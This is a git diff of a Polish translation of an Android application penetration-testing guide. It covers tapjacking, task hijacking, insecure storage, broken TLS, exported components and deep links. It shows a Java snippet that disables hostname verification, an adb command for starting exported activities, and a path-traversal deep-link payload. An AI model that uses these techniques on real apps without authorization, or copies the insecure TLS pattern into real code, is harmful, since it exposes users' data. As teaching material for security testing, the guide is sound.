Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, podkreślając potrzebę dokładnego przejrzenia tych zasobów.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** to atak, w którym **złośliwa aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy zasłania widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy zasłania widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||
W rezultacie **oszukuje użytkownika, aby nie zdawał sobie sprawy, że faktycznie wykonuje akcje w aplikacji ofiary**.
|
||||
|
||||
Dowiedz się więcej:
|
||||
|
@ -105,7 +105,7 @@ Dowiedz się więcej:
|
|||
|
||||
### Przechwytywanie zadań
|
||||
|
||||
**Aktywność** z ustawieniem **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może zostać zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (użytkownik będzie więc interagował z **złośliwą aplikacją, myśląc, że korzysta z prawdziwej**).
|
||||
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może zostać zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (użytkownik będzie więc interagował z **złośliwą aplikacją, myśląc, że korzysta z prawdziwej**).
|
||||
|
||||
Więcej informacji:
|
||||
|
||||
|
@ -117,7 +117,7 @@ Więcej informacji:
|
|||
|
||||
**Pamięć wewnętrzna**
|
||||
|
||||
W systemie Android pliki **przechowywane** w **pamięci wewnętrznej** są **przeznaczone** do **dostępu wyłącznie przez aplikację, która je** **utworzyła**. Ta zabezpieczenie jest **egzekwowane** przez system operacyjny Android i zazwyczaj jest wystarczające dla większości aplikacji. Jednak deweloperzy czasami korzystają z trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **umożliwić** udostępnianie plików między różnymi aplikacjami. Niemniej jednak te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
W systemie Android pliki **przechowywane** w **pamięci wewnętrznej** są **przeznaczone** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ta zabezpieczenie jest **egzekwowane** przez system operacyjny Android i zazwyczaj jest wystarczające dla większości aplikacji. Jednak deweloperzy czasami korzystają z trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **umożliwić** udostępnianie plików między różnymi aplikacjami. Niemniej jednak te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
|
||||
|
||||
1. **Analiza statyczna:**
|
||||
* **Upewnij się**, że korzystanie z `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie przeanalizowane**. Te tryby **mogą potencjalnie ujawnić** pliki do **niezamierzonego lub nieautoryzowanego dostępu**.
|
||||
|
@ -138,7 +138,7 @@ Przy pracy z plikami na **pamięci zewnętrznej**, takich jak karty SD, należy
|
|||
* Przechowywanie plików wykonywalnych lub plików klas na pamięci zewnętrznej w celu dynamicznego ładowania jest zdecydowanie odradzane.
|
||||
* Jeśli Twoja aplikacja musi pobierać pliki wykonywalne z pamięci zewnętrznej, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym ładowaniem. Ten krok jest kluczowy dla zachowania integralności bezpieczeństwa Twojej aplikacji.
|
||||
|
||||
Do pamięci zewnętrznej można **uzyskać dostęp** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Pamięć zewnętrzna może być **dostępna** pod `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp z aplikacji do katalogu przeznaczonego specjalnie dla tej aplikacji**. Zapobiega to złośliwej aplikacji uzyskania dostępu do odczytu lub zapisu plików innej aplikacji.
|
||||
|
@ -146,14 +146,14 @@ Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, któ
|
|||
|
||||
**Wrażliwe dane przechowywane w tekście jawnym**
|
||||
|
||||
* **Udostępnione preferencje**: Android pozwala każdej aplikacji łatwo zapisać pliki XML w ścieżce `/data/data/<nazwa_pakietu>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w tekście jawnym w tym folderze.
|
||||
* **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisać bazy danych sqlite w ścieżce `/data/data/<nazwa_pakietu>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w tekście jawnym w tym folderze.
|
||||
* **Udostępnione preferencje**: Android pozwala każdej aplikacji łatwo zapisać pliki XML w ścieżce `/data/data/<nazwapakietu>/shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w tekście jawnym w tym folderze.
|
||||
* **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisać bazy danych sqlite w ścieżce `/data/data/<nazwapakietu>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w tekście jawnym w tym folderze.
|
||||
|
||||
### Uszkodzone TLS
|
||||
|
||||
**Akceptuj wszystkie certyfikaty**
|
||||
|
||||
Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje, z liniami kodu takimi jak poniższa:
|
||||
Czasami z jakiegoś powodu deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje do linii kodu, takiej jak ta:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
@ -162,23 +162,23 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
**Słabe procesy zarządzania kluczami**
|
||||
|
||||
Niektórzy programiści zapisują wrażliwe dane w pamięci lokalnej i szyfrują je kluczem zapisanym/wykonalnym w kodzie. Nie powinno się tego robić, ponieważ odwrócenie procesu może pozwolić atakującym wydobyć poufne informacje.
|
||||
Niektórzy programiści zapisują wrażliwe dane w pamięci lokalnej i szyfrują je kluczem zapisanym/wykrywalnym w kodzie. Nie powinno się tego robić, ponieważ odwrócenie procesu może pozwolić atakującym wydobyć poufne informacje.
|
||||
|
||||
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
||||
|
||||
Programiści nie powinni używać **przestarzałych algorytmów** do wykonywania **sprawdzeń autoryzacyjnych**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hasła** są używane do przechowywania haseł na przykład, należy użyć odpornych na ataki brutalne **haszów** z solą.
|
||||
Programiści nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzeń autoryzacyjnych**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hasła** są używane do przechowywania haseł na przykład, należy użyć hashy odporne na ataki brutalne z solą.
|
||||
|
||||
### Inne sprawdzenia
|
||||
|
||||
* Zaleca się **zaciemnienie APK**, aby utrudnić odwrócenie inżynierii atakującym.
|
||||
* Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna przeprowadzić **własne sprawdzenia, czy urządzenie mobilne jest zrootowane** i działać odpowiednio.
|
||||
* Zaleca się **zaciemnienie APK**, aby utrudnić odwrotną inżynierię atakującym.
|
||||
* Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna przeprowadzać **własne sprawdzenia, czy urządzenie mobilne jest zrootowane** i działać odpowiednio.
|
||||
* Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna sprawdzić, czy jest używany **emulator**.
|
||||
* Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
||||
* Użyj [**APKiD**](https://github.com/rednaga/APKiD), aby sprawdzić, który kompilator/pakietujący/zaciemniacz został użyty do zbudowania APK
|
||||
* Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem** jej, aby sprawdzić, czy została zmodyfikowana.
|
||||
* Użyj [**APKiD**](https://github.com/rednaga/APKiD), aby sprawdzić, który kompilator/pakietujący/zacieniacz został użyty do zbudowania APK.
|
||||
|
||||
### Aplikacja React Native
|
||||
|
||||
Przeczytaj następną stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu JavaScript aplikacji React:
|
||||
Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu JavaScript aplikacji React:
|
||||
|
||||
{% content-ref url="react-native-application.md" %}
|
||||
[react-native-application.md](react-native-application.md)
|
||||
|
@ -186,7 +186,7 @@ Przeczytaj następną stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp
|
|||
|
||||
### Aplikacje Xamarin
|
||||
|
||||
Przeczytaj następną stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu C# aplikacji Xamarin:
|
||||
Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu C# aplikacji Xamarin:
|
||||
|
||||
{% content-ref url="../xamarin-apps.md" %}
|
||||
[xamarin-apps.md](../xamarin-apps.md)
|
||||
|
@ -194,11 +194,11 @@ Przeczytaj następną stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp
|
|||
|
||||
### Aplikacje Superpacked
|
||||
|
||||
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to meta algorytm, który kompresuje zawartość aplikacji do jednego pliku. Blog omawia możliwość stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszy sposób, który polega na **uruchomieniu aplikacji i zebraniu zdekompresowanych plików z systemu plików**.
|
||||
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to metaalgorytm, który kompresuje zawartość aplikacji do jednego pliku. Blog omawia możliwość stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszy sposób, który polega na **uruchomieniu aplikacji i zebraniu zdekompresowanych plików z systemu plików**.
|
||||
|
||||
### Automatyczna statyczna analiza kodu
|
||||
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest zdolne do znajdowania **podatności** poprzez **skanowanie** kodu aplikacji. Narzędzie to zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **dane wejściowe są kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne miejsca**, gdzie złośliwe dane wejściowe mogą powodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację źródeł-sinks**, które wskazują na podatność.
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest zdolne do znajdowania **podatności** poprzez **skanowanie** kodu aplikacji. Narzędzie to zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **dane wejściowe są kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne miejsca**, gdzie złośliwe dane wejściowe mogą powodować szkody) i **reguły**. Te reguły wskazują na **kombinację źródeł-sinks**, która wskazuje na podatność.
|
||||
|
||||
Dzięki tej wiedzy **mariana-trench przejrzy kod i znajdzie możliwe podatności**.
|
||||
|
||||
|
@ -206,7 +206,7 @@ Dzięki tej wiedzy **mariana-trench przejrzy kod i znajdzie możliwe podatności
|
|||
|
||||
Aplikacja może zawierać sekrety (klucze API, hasła, ukryte adresy URL, subdomeny...) wewnątrz, których możesz być w stanie odkryć. Możesz użyć narzędzia takiego jak [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Ominięcie autoryzacji biometrycznej
|
||||
### Ominięcie uwierzytelniania biometrycznego
|
||||
|
||||
{% content-ref url="bypass-biometric-authentication-android.md" %}
|
||||
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
|
||||
|
@ -216,7 +216,7 @@ Aplikacja może zawierać sekrety (klucze API, hasła, ukryte adresy URL, subdom
|
|||
|
||||
* **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), kod natywny:system()`
|
||||
* **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load`
|
||||
* Deklarowane **funkcje natywne** jako `native`: `public native, System.loadLibrary, System.load`
|
||||
* [Przeczytaj to, aby dowiedzieć się, **jak odwrócić funkcje natywne**](reversing-native-libraries.md)
|
||||
|
||||
### **Inne sztuczki**
|
||||
|
@ -231,38 +231,38 @@ Aplikacja może zawierać sekrety (klucze API, hasła, ukryte adresy URL, subdom
|
|||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Spojrzenie na Hacking**\
|
||||
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hackowania
|
||||
**Wglądy w hakerstwo**\
|
||||
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
|
||||
**Aktualności na Żywo z Hackingu**\
|
||||
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
|
||||
**Aktualności na żywo z hakerstwa**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom na żywo
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
***
|
||||
|
||||
## Analiza Dynamiczna
|
||||
## Analiza dynamiczna
|
||||
|
||||
> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i wszystkie narzędzia (certyfikat Burp CA, Drozer i Frida głównie). Dlatego zaleca się korzystanie z urządzenia zrootowanego (emulowanego lub nie).
|
||||
> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i wszystkie narzędzia (certyfikat Burp CA, Drozer i Frida głównie). Dlatego zaleca się korzystanie z zrootowanego urządzenia (emulowanego lub nie).
|
||||
|
||||
### Analiza dynamiczna online
|
||||
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **przesyłać** i **wykonywać** APK, co jest przydatne do monitorowania zachowania aplikacji.
|
||||
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **przesyłać** i **wykonywać** pliki APK, co jest przydatne do monitorowania zachowania pliku APK.
|
||||
|
||||
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się za pomocą **adb**.
|
||||
|
||||
![](<../../.gitbook/assets/image (60).png>)
|
||||
|
||||
Dzięki połączeniu ADB możesz używać **Drozera** i **Fridy** wewnątrz emulatorów.
|
||||
Dzięki połączeniu ADB możesz korzystać z **Drozera** i **Fridy** w emulatorach.
|
||||
|
||||
### Lokalna analiza dynamiczna
|
||||
|
||||
#### Korzystanie z emulatora
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez konieczności wolnego emulatora arm).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a zgodnie z [**tym** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez konieczności wolnego emulatora arm).
|
||||
* Dowiedz się, jak to skonfigurować na tej stronie:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -280,7 +280,7 @@ Aby **zainstalować usługi Google** (np. Sklep Play) w Genymotion, musisz klikn
|
|||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Zauważ również, że w **konfiguracji maszyny wirtualnej Androida w Genymotion** możesz wybrać **tryb sieci mostkowej** (będzie to przydatne, jeśli będziesz łączyć się z maszyną Androida z innej maszyny wirtualnej za pomocą narzędzi).
|
||||
Zauważ również, że w **konfiguracji maszyny wirtualnej Androida w Genymotion** możesz wybrać **tryb sieci mostkowej** (będzie to przydatne, jeśli będziesz łączyć się z maszyną wirtualną Androida z innej maszyny wirtualnej za pomocą narzędzi).
|
||||
#### Użyj fizycznego urządzenia
|
||||
|
||||
Musisz aktywować opcje **debugowania**, a byłoby świetnie, gdybyś mógł je **zrootować**:
|
||||
|
@ -305,26 +305,26 @@ Zauważ, że od **nowszych wersji Androida nowszych niż 4.0**, **aplikacje mog
|
|||
Mimo to nadal zaleca się **nie logowanie wrażliwych informacji**.
|
||||
{% endhint %}
|
||||
|
||||
**Bufor schowka kopiuj/wklej**
|
||||
**Bufor kopiuj/wklej**
|
||||
|
||||
Framework **oparty na schowku** Androida umożliwia funkcjonalność kopiuj/wklej w aplikacjach, ale stanowi ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest **wyłączenie funkcji kopiuj/wklej** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
||||
Framework **oparty na schowku** Androida umożliwia funkcję kopiuj/wklej w aplikacjach, ale stanowi ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest **wyłączenie funkcji kopiuj/wklej** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
||||
|
||||
**Logi awarii**
|
||||
|
||||
Jeśli aplikacja **zawiesi się** i **zapisze logi**, te logi mogą pomóc atakującym, zwłaszcza gdy aplikacja nie może zostać zdekompilowana. Aby zmniejszyć to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane za pośrednictwem kanału SSL w celu zapewnienia bezpieczeństwa.
|
||||
Jeśli aplikacja **zawiesi się** i **zapisze logi**, te logi mogą pomóc atakującym, zwłaszcza gdy aplikacja nie może być zdekompilowana. Aby zmniejszyć to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane za pośrednictwem kanału SSL w celu zapewnienia bezpieczeństwa.
|
||||
|
||||
Jako pentester, **spróbuj przyjrzeć się tym logom**.
|
||||
|
||||
**Dane analityczne wysyłane do stron trzecich**
|
||||
|
||||
Aplikacje często integrują usługi takie jak Google Adsense, które nieumyślnie **wyciekają wrażliwe dane** z powodu niewłaściwej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, zaleca się **przechwycenie ruchu aplikacji** i sprawdzenie, czy wysyłane są jakiekolwiek wrażliwe informacje do usług stron trzecich.
|
||||
Aplikacje często integrują usługi takie jak Google Adsense, które nieumyślnie **mogą ujawnić wrażliwe dane** z powodu niewłaściwej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, zaleca się **przechwycenie ruchu aplikacji** i sprawdzenie, czy wysyłane są jakiekolwiek wrażliwe informacje do usług stron trzecich.
|
||||
|
||||
### Bazy danych SQLite
|
||||
|
||||
Większość aplikacji będzie korzystać z **wewnętrznych baz danych SQLite** do przechowywania informacji. Podczas pentestu przyjrzyj się **utworzonym bazom danych**, nazwom **tabel** i **kolumn** oraz wszystkim **danych** zapisanym, ponieważ możesz znaleźć **wrażliwe informacje** (co mogłoby stanowić lukę w zabezpieczeniach).\
|
||||
Większość aplikacji będzie korzystać z **wewnętrznych baz danych SQLite** do przechowywania informacji. Podczas pentestu przyjrzyj się **utworzonym bazom danych**, nazwom **tabel** i **kolumn** oraz wszystkim **danych** zapisanym, ponieważ możesz znaleźć **wrażliwe informacje** (co mogłoby być podatnością).\
|
||||
Bazy danych powinny znajdować się w `/data/data/nazwa.pakietu/bazy danych` jak `/data/data/com.mwr.example.sieve/bazy danych`
|
||||
|
||||
Jeśli baza danych zapisuje poufne informacje i jest **zaszyfrowana**, ale możesz **znaleźć** hasło wewnątrz aplikacji, to nadal jest to **luka w zabezpieczeniach**.
|
||||
Jeśli baza danych zapisuje poufne informacje i jest **zaszyfrowana**, ale możesz **znaleźć** hasło wewnątrz aplikacji, to nadal jest to **podatność**.
|
||||
|
||||
Wylicz tabele za pomocą `.tables` i wylicz kolumny tabel za pomocą `.schema <nazwa_tabeli>`
|
||||
|
||||
|
@ -347,7 +347,7 @@ Gdy działanie jest eksportowane, można wywołać jego ekran z zewnętrznej apl
|
|||
Możesz także uruchomić eksportowane działanie z adb:
|
||||
|
||||
* NazwaPakietu to com.example.demo
|
||||
* NazwaDziałaniaEksportowanego to com.example.test.MainActivity
|
||||
* Nazwa Eksportowanego Działania to com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
@ -372,23 +372,23 @@ Dostawcy treści są podstawowo używani do **udostępniania danych**. Jeśli ap
|
|||
|
||||
[**Dowiedz się, jak wykorzystać dostawców treści za pomocą Drozera.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Wykorzystywanie usług**
|
||||
### **Wykorzystywanie Usług**
|
||||
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć sobie, czym jest usługa.**](android-applications-basics.md#services)\
|
||||
Pamiętaj, że działania usługi rozpoczynają się w metodzie `onStartCommand`.
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć sobie, czym jest Usługa.**](android-applications-basics.md#services)\
|
||||
Pamiętaj, że działania Usługi rozpoczynają się w metodzie `onStartCommand`.
|
||||
|
||||
Usługa to podstawowo coś, co **może otrzymać dane**, je **przetworzyć** i **zwrócić** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** kod, aby zrozumieć, co robi, i **testować** go **dynamicznie** w celu wydobycia poufnych informacji, omijania środków autoryzacji...\
|
||||
[**Dowiedz się, jak wykorzystać usługi za pomocą Drozera.**](drozer-tutorial/#services)
|
||||
[**Dowiedz się, jak wykorzystać Usługi za pomocą Drozera.**](drozer-tutorial/#services)
|
||||
|
||||
### **Wykorzystywanie odbiorników nadawczych**
|
||||
### **Wykorzystywanie Odbiorników Nadawczych**
|
||||
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć sobie, czym jest odbiornik nadawczy.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Pamiętaj, że działania odbiornika nadawczego rozpoczynają się w metodzie `onReceive`.
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć sobie, czym jest Odbiornik Nadawczy.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Pamiętaj, że działania Odbiornika Nadawczego rozpoczynają się w metodzie `onReceive`.
|
||||
|
||||
Odbiornik nadawczy będzie oczekiwał na rodzaj wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
|
||||
[**Dowiedz się, jak wykorzystać odbiorniki nadawcze za pomocą Drozera.**](./#exploiting-broadcast-receivers)
|
||||
[**Dowiedz się, jak wykorzystać Odbiorniki Nadawcze za pomocą Drozera.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Wykorzystywanie schematów / Głębokie linki**
|
||||
### **Wykorzystywanie Schematów / Głębokich linków**
|
||||
|
||||
Możesz ręcznie szukać głębokich linków, używając narzędzi takich jak MobSF lub skryptów takich jak [ten](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przeglądarki**:
|
||||
|
@ -422,7 +422,7 @@ Zawsze, gdy znajdziesz link głęboki, sprawdź, czy **nie otrzymuje on danych p
|
|||
|
||||
**Parametry w ścieżce**
|
||||
|
||||
Musisz również sprawdzić, czy jakikolwiek link głęboki używa parametru wewnątrz ścieżki URL, na przykład: `https://api.example.com/v1/users/{username}`, w takim przypadku można wymusić nawigację po ścieżkach, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Musisz również sprawdzić, czy jakikolwiek link głęboki używa parametru wewnątrz ścieżki URL, na przykład: `https://api.example.com/v1/users/{username}`, w takim przypadku można wymusić przeglądanie ścieżki, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz spowodować **przekierowanie otwarte** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować szczegóły użytkowników bez tokenu CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Więcej przykładów**
|
||||
|
@ -431,13 +431,13 @@ Interesujący raport z programu bug bounty dotyczący linków (_/.well-known/ass
|
|||
|
||||
### Inspekcja Warstwy Transportowej i Błędy Weryfikacji
|
||||
|
||||
* **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje pomijają ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do korzystania z połączeń HTTP.
|
||||
* **Negocjacje podczas uścisku ręki SSL/TLS są czasami słabe**, korzystając z niebezpiecznych zestawów szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
|
||||
* **Wyciek prywatnych informacji** stanowi ryzyko, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, a następnie komunikują się za pomocą kanałów nieszyfrowanych w innych transakcjach. Taki sposób postępowania nie chroni wrażliwych danych, takich jak ciasteczka sesji lub szczegóły użytkownika, przed przechwyceniem przez złośliwe podmioty.
|
||||
* **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje na Androida. Często te aplikacje pomijają ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do korzystania z połączeń HTTP.
|
||||
* **Negocjacje podczas uścisku ręki SSL/TLS są czasami słabe**, korzystając z niebezpiecznych zestawów szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), pozwalając atakującym na odszyfrowanie danych.
|
||||
* **Wyciek prywatnych informacji** stanowi ryzyko, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, a następnie komunikują się za pomocą kanałów nieszyfrowanych w innych transakcjach. Ten sposób nie chroni wrażliwych danych, takich jak ciasteczka sesji lub szczegóły użytkownika, przed przechwyceniem przez złośliwe podmioty.
|
||||
|
||||
#### Weryfikacja Certyfikatu
|
||||
|
||||
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być zweryfikowana, aby zwiększyć bezpieczeństwo. Jest to istotne, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stanowić znaczne ryzyko. Aby uzyskać szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności, [**ten zasób**](https://manifestsecurity.com/android-application-security-part-10/) zapewnia wszechstronną pomoc.
|
||||
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być zweryfikowana, aby zwiększyć bezpieczeństwo. Jest to istotne, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stanowić znaczne ryzyko. Aby uzyskać szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności, [**ten zasób**](https://manifestsecurity.com/android-application-security-part-10/) zapewnia wszechstronne wskazówki.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
|
@ -445,7 +445,7 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
|
|||
|
||||
#### Inspekcja Ruchu
|
||||
|
||||
Aby inspirować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik po instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Aby inspirować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez instalacji tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik po instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
